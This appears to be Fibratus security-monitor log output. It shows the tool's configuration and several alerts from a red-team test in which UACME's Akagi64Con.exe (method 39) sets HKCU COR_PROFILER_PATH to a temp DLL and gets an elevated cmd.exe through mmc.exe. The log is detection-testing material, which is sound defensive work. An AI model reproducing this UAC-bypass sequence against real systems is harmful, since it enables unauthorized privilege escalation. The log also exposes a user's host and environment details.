flush-interval=>1s min-buffers=>16 enable-vamap=>true enable-thread=>true stack-enrichment=>true enable-net=>true enable-threadpool=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text max-backups=>15 max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] http=>[ method=>POST tls-insecure-skip-verify=>false serializer=>json enabled=>false timeout=>5s endpoints=>[] enable-gzip=>false] elasticsearch=>[ healthcheck-timeout=>5s bulk-workers=>1 enabled=>false healthcheck-interval=>10s healthcheck=>true template-name=>fibratus trace-log=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] sniff=>false flush-period=>1s index-name=>fibratus timeout=>5s] amqp=>[ passive=>false enabled=>false timeout=>5s vhost=>/ routing-key=>fibratus durable=>false exchange=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient exchange-type=>topic tls-insecure-skip-verify=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false fastscan=>true enabled=>false excluded-procs=>[] skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s excluded-files=>[] skip-mmaps=>false skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-01T17:39:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:39:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:40:12+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 227001 + Pid: 1076 + Tid: 2524 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:40:10.8031536 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3878986a930, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 1076 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 230707 + Pid: 8324 + Tid: 14148 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:40:11.5158342 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 4347d3000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808ffaae60c0, name➜ cmd.exe, pid➜ 12000, ppid➜ 8324, real_ppid➜ 8324, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:40:11.5157843 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 8324 + Ppid: 1076 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:43:04+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 538386 + Pid: 17208 + Tid: 10048 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:43:03.2372925 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3878047ceb0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 17208 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 542171 + Pid: 15792 + Tid: 13544 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:43:04.0483971 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 431990000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808009410080, name➜ cmd.exe, pid➜ 14380, ppid➜ 15792, real_ppid➜ 15792, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:43:04.0483495 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 15792 + Ppid: 17208 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:43:13+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 545035 + Pid: 6896 + Tid: 15416 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:43:11.8084327 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3878047ceb0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 6896 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey 